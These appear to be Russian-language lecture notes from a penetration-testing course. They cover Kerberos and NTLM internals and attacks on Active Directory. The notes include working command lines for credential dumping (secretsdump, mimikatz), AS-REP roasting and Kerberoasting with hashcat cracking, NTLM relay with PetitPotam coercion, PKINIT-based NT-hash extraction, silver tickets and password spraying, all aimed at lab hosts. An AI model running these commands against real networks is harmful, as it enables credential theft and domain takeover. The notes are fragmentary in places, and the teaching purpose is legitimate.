В керберосе может использоваться ассиметричная криптография (она нужна чтобы передавать клюючи, которые используются в симметричной криптографии) . На одном можем зашифровать а на другом расшиФРОВАть.

ЧТобы работало шифрование - наш клиент и сервис должны использовать 1 алгоритм и стойкий тип шифрования поддерживаемый клиентом и сервером, дальше должны выработать ключ и должен распределитсья метод пердеачи ключа.
Симметричные ключи получаются из паролей учетных записей .
## Терминология Кебероса

Учетные записи / принципалы
Сервисы
Учетная запись KRBTGT
Секретные ключи
Тикеты
Кэш учетных данных
Как сообщения в керберос Устроены
**Principal**

У пользака есть - UPN аттрибут в АД
У сервиса есть - SPN
Не может быть групп польз с одинак спн и юпн.
**Service**

Представляет собой 2 сервиса
Authentication Service - аутентифицирует клиентов и выписывает билеты ТГТ.
Ticket Granting Service - выписывает билеты уже прошедшим аутентифицакию клиентам. С сервисными билетами клиенты идут на сервис.
**KRBTGT account**

супер важная учетная запись **KRBTGT** она всегда выключена
Бывает называется - KDC Service


Она выключена, ее нельзя переименовать и она всегда есть, использ для подписи ТГТ и ТГС и шифрования - на учетной записи krbtgt Шифруются все ТГТ билеты.
При компрометации учетной записи KRBTGT - домен скомпрометирован.

**Керберос ключи**

3 типа ключей:
Долговременные симметричные ключи
Долговременные ассимметричные ключи
Короткоживущие симметричные сессионные ключи

Долговременные симметричные ключи
Получает пароль польз и хранится в хэше учетных данных, когда польз входит в систему.
Системный ключ получается из пароля системной учетной записи и хранится в памяти компа, так и на диске LSA secrets.
Сервисный ключ получается из пароля сервисной учетной записи
Интер-реалм кей - ключ, который получается из пароля специальной учетной записи Inter-realm trust account и Нужен для прохождения кросс доменной аутентификации между разными доменами.
Ассиметричные ключи

Секретный ключ хранится на смарт карте и он неэкспортируем . Доступ может быть криптографичесим операциям по Пину.

Сессионные ключи - короткоживущие (действительны в течении 1 сеанса)
Генерируются и используется для аутен процесса обмена , для шифрования таймстемпов, имени пользователя и других ключей.
## ТИКЕТЫ

Билет ТГТ - мастер тикет, Выписывается для запросы билета ТГС. Шифрован на ключе учетной записи krbtgt. Соответственно krbtgt может расшифровать ТГТ и получить доступ к его содержимому.
Сервисный билет использ для аутен на сервисах и шифрованы на ключе сервисной учетной записи, под которой работает сервис. Сервис может сервисный билет расшифровать.
Реферальные ТГТ / ИнтерРеал ТГТ и они используются для взаимодействия между доменами и аутентификации между ними и шифрованы на ИнтерРеалм ключе, который распределяется между двумя доменами.
Все тикеты генерируются на КДЦ и хранятся в опер памяти клиента сессии ЛСА (в кеше учетных данных)
**Как устроены тикеты**


В паке содержится информация о пользователях, в каких он группах, Идентификатор польз, различн информация по входу

Кеш учетных даннх клиенты хранят секретные ключи и тикеты, которые получают с КДЦ
Часть хранится в памяти процесса ЛСАС
Кеш Никогда не сбрасывается на диск. При выключении - кеш удаляется.
Системные и сервисные ключи хранятся в реестре и после перезагрузки они выживают.
Их можно вытащить через **secretsdump**
Сообщения керберос

AS_REQ
**предварительная аутентификация**

**Authenticator**

Шифрован на сессионном ключе. Метка времени защизает от повторов 5 мин есть.
Может сравнить пользователей
**РАС**

Содержит иныормацию о пользователе
Содержит сид домена
Возможна атака Сильвер тикет
**Типы шифрования и ключи керберос**

RC4 ключ -
Сгенерируем нтхэш

НТХЭШ можем сгенерировать онлайн
Получаем 32 байтное число
AES ключ - считается
Есть модуль на повершелле - **get-kerberos aes key**


вычисляем AES key
Ползователем юзер и унего есть атррибут

Солью будет являться конкатенация полного имени домена и сам аккаунт керберос

Есть база выгруженная в нтдс дит (заранее сдампил с домена)

secretsdump.py administrator@192.168.198.150 -outputfile lab.local

**Ключи считаются от пароля пользователя**
Различные ошибки

Когда польз нет в домене
Вылезло за 5 минутный интервал
Преалс

Керберос - Общая схема
1 шаг - преаус ( на этом шаге клиент шифрует метку времени ... и отрпавляет сообзщения ас рек на ДК. ДК смотрит асрек ,) вкладывает сессионный ключ ,


Сейчас смотрим в трафике.
НАм нужны все ключи кербероса, всех сторон.
Первое что делаем - сикретдамп с ДК
И со второго ДК test.local - дампим
Ставим утилиту **kutil**
On Kali
sudo apt install krb5-user
мы сформируем фаул, где храннятся керберосные ключи

Грепаем все клюяи польз юзер
Грепаем рабочую станцию
Добавляем RC4 & AES ключ
ktutil
addent -p administrator@ADATUM.COM -k 1 -key -e rc4-hmac
addent -p krbtgt@ADATUM.COM -k 1 -key -e aes256-cts-hmac-sha1-96
Потребуется польз юзер, крбтгт, ws (рабочая станция), ДК 1 домена, ДК 2 домена , ТЕСТ


Копируем и постепенно набтиваем в файл кетап

kutil



Roman Alferov, [6 июля 2022 г., 21:02:01]:
wkt keytab_lab_new
exit

Здесь список ключей
Копируем кейт ап файл на домен контроллер
Разлогиниваемся из тачки атакующ
Запускаем вайр шарк

Идем


Галочка - пробуем расшифровать и кейтап файлы
Выполняем вход польз в систему

Трафик протокола керберос
Преал аутентиф нужна для защиты от атаки
(шифруем таймпстемп и отправляем на ДК)
Преаус нужен для согласования шифра

Все шлется на 88 тср порт
ДК отвечает - что преаус обязятелен

Я поддерживаю такие типы шифра, если такой шифр то соль такая
**PaData** шифрованный на аес ключе = таймпстемп

А это если отключим расшифровку

Мы сами добавили в кейтап ключ польз предварительно
самое главное - билет и шифрованная часть

Внутри ТГТ билета есть флаги
Обратить внимание на флаг форвардер, если его не будет то будет ограниченное делегирование
По терминологии майкрософт называет делегирование керберос
Так устроен ТГТ билет.
Важное - сессионный ключ

ПОльз получив асрек обратно , получив encrypted path
Еще важно имя сервиса

SPN -
Маркер доступа пользователя

Часть доменный, часть лоакльные

Этот билет использ для
Закешировались тикеты и ключи в оперативной памяти.
Не зная сессионный ключ - аутентификацию не пройдет
Идем в утилиту Мимикатз


Привилегия отладки - позволяет обращаться к памяти люого процесса (если у польз есть привилегии отладки - то мы система)
Логируем в файлик
Дай мне керберос ключи

Эскпортировать тикеты
Через sekurlsa
и свой тикет экспортировал

Обращаемся к сервису с польз тачки
Я сервис и иду на ДК
Залистил шару. Мы отправляем тгсрек.


Мы хотим пойти на сервис
Сервисы поддерживаемые керберосом

СПН хост включает в себя кучу разных спн

Создается один общий ключ - Interreal key междоменный ключ
Как происходит аутентификация
Мы запрашиваем ТГС
## Атаки на АД - Керберос
payloadallthethings AD 
еще один хороший репозиторий

желательно пройти каждую атаку
ASREPRoasting

перевод в бинарный вид и разложить по флагам

этот бит соответствует значению выше в скриншоте
Этот битик означает что
Атака АСРепроастинг (мы подбираем пароль к шифрованной части АСРЕП, )


У всех этих учетных записей у которых юзер аккаунт контрол имеет
GetNPUsers.py lab.local/user -dc-ip 192.168.198.150

GetNPUsers.py lab.local/user -dc-ip 192.168.198.150 -request -outputfile as_reps.txt
Можем запросить какого то контретного юзера(нам пароль и логин знать не нужно) и нам не нужна для этого доменного учетного

Далее берем хэшкет и ставим его на брут


sudo hashcat -a 0 -w 4 -m 18200 as_reps.txt /usr/share/wordlists/rockyou.txt --force

Проверяем пароль


Все что по Лдап нашли - они подобрались
MS KILE - спецификация майкрософт для расширения Керберос
Если ищем багу в керберосе новую - она написана в делегации MS KILE
# Занятие 13. Закрепление доступа и постэксплуатация в Windows
## NTLM Relay & Attack AD
MS-NLMP - хотя бы форматы сообщений прочитать

Документ в котором описан NTLM

ТTLM - классический криптограф протокол аутен типа запрос- ответ
Сервер - клиент (шифруют на ключе)
**Криптографический протокол - книга Черемушкин**
Есть 3 типа сообщений

NT hash - md4 от пароля
Запрос на согласование -
Бывает разных версий - завитил от шифрования challenge:
LM
NTLM
NTLMv2

Такие ЛМ хэши можно брутить по радужным

На 3 DES ключах шифрует
Берем атакующего и идем по СМБ
Переходя по ай пи - мы переходим по НТЛМ


**challenge** случайно сгенерированное число 8 байт,сервер отправляет клиенту на шифрование, при составлении респонс

**relay**

клиент идет на нас, мы идем на сервер и пересылаем сообщение клиента
Мы пересылаем сообщение клиента в другую сессию. Протоколы могут быть разные
В результате сервер думает - Мы - это клиент
**NTLM Relay** **SMB-SMB классический релей**
Спуфим лмнр, нбнс трафик

Редактируем конфиг респондера

signing включен- релей нельзя

А на компе - можно релей
Компьютеры с выключенной смб подписью


Встроенная в кали импакет

Скачанная с гитхаба

Загрузились разные клиенты куда будем релеить

Запускаем команду на добавление пользователя

-codec 866 (кодировка для кириллицы)
Концептуально:
Подключается по смб, создается новый сервис (он будет по систем svcctl)


Был включен антивирус - отключили его

Менее клакссический релей в **LDAP**
протокол позволяет запрашивать и писать информацию в АД.
Можем релеить ЛДАП, ЛДАПС
Запускаем респондер и смотрим хэши админа домена.
Релеим в ЛДАП


Сдампил всю информацию пользователя о домене
Человек в бразуере опечатался, или через WPAD
Чтобы создать пользователя нужно использовать именно **ldaps**
Printer bug, pettit potam
сервис webclient

Если он запущен, то можно заставить эту машинку - дернуть ручку и прийти в кали по протоколу http
Скрипт позволяющий задетектить запущен ли веб клиент на машине
webclientservicescanner lab.local/user:'Pa$$w0rd'@192.168.198.148

https://github.com/Hackndo/WebclientServiceScanner
Предварительно надо зарегестрировать кали в днс.
Инструмент позволяющий дергать разные ручки.
**PetitPotam**
https://github.com/topotam/PetitPotam

посылаем 2 ТГС запроса
скрипт позволяющий запрашивать ТГС билеты


cache credential



экспортируем новый тгс билет

Зашли по wmi exec

Cканим всю подсеть

Везде где Running написано - считаем что

после э


Могу туда релеить пользов
Мы дергаем домен контроллер 1,
Говорим что будем Релеить в ХТТП

Берем дергалку ПетитПотам

заставляем сервер прийти к нам по смб

Зарелеили в
PKINITtools
https://github.com/dirkjanm/PKINITtools
пробуем по сертификату получить тгт билет

Мы получили тгт билет

Получаем НТ хэш учетной записи

python3 gettgtpkinit.py lab.local/SRV01\$ -pfx-base64 `cat /home/kali/base64_new.txt` srv.ccache
python3 getnthash.py -key 365d17e42f2938d44211ddfcb4d254c1644f9aa13a4e61ddf3cf401cba942308 'lab.local/SRV$'
Руками формируем тикет, прописываем руками что мы домен админа
Сильвер Тикет можно формировать через secretsdump^ либо mimikatz
позволяет вытаскивать все сиды с домена


Тикет сформирован


По началу не валидирует имя пользователя, но по истечению времени будет валидировать


Тут Duration 10 лет
На пентесте - юзать на здоровье, на Ред тиме - только мимикатз

## Kerberoasting
Как выглядит доступ к веб серверу








Создадим сервисную учетку
Отличие сервисной учетки от обычной - **spn**
Без SPN керберос не сработает
Берем Импакетовский СПН

Этот скрипт может заенумить учетные записи, у которых есть спн

Далее берем bloodHound

Далее для СПН можем запросить тгс билет



Записали в файл

GetUserSPNs.py lab.local/user -request -outputfile tgs.txt

Мы администраторы на домен контроллере
## Password Spraying
**По СМБ**
Берем 1 пароль и пробуем на все учетные записи (с учетом парольной политики)
Получаем список учеток в смб с недоменной машины

**по Керберос**
**ropnop Kerbroot**
ОЧень быстро работает

Пароли пробоовать можно - по месяцам, времени года, названии компании , комбинация назв комп и год и тд
Куда копать и развиваться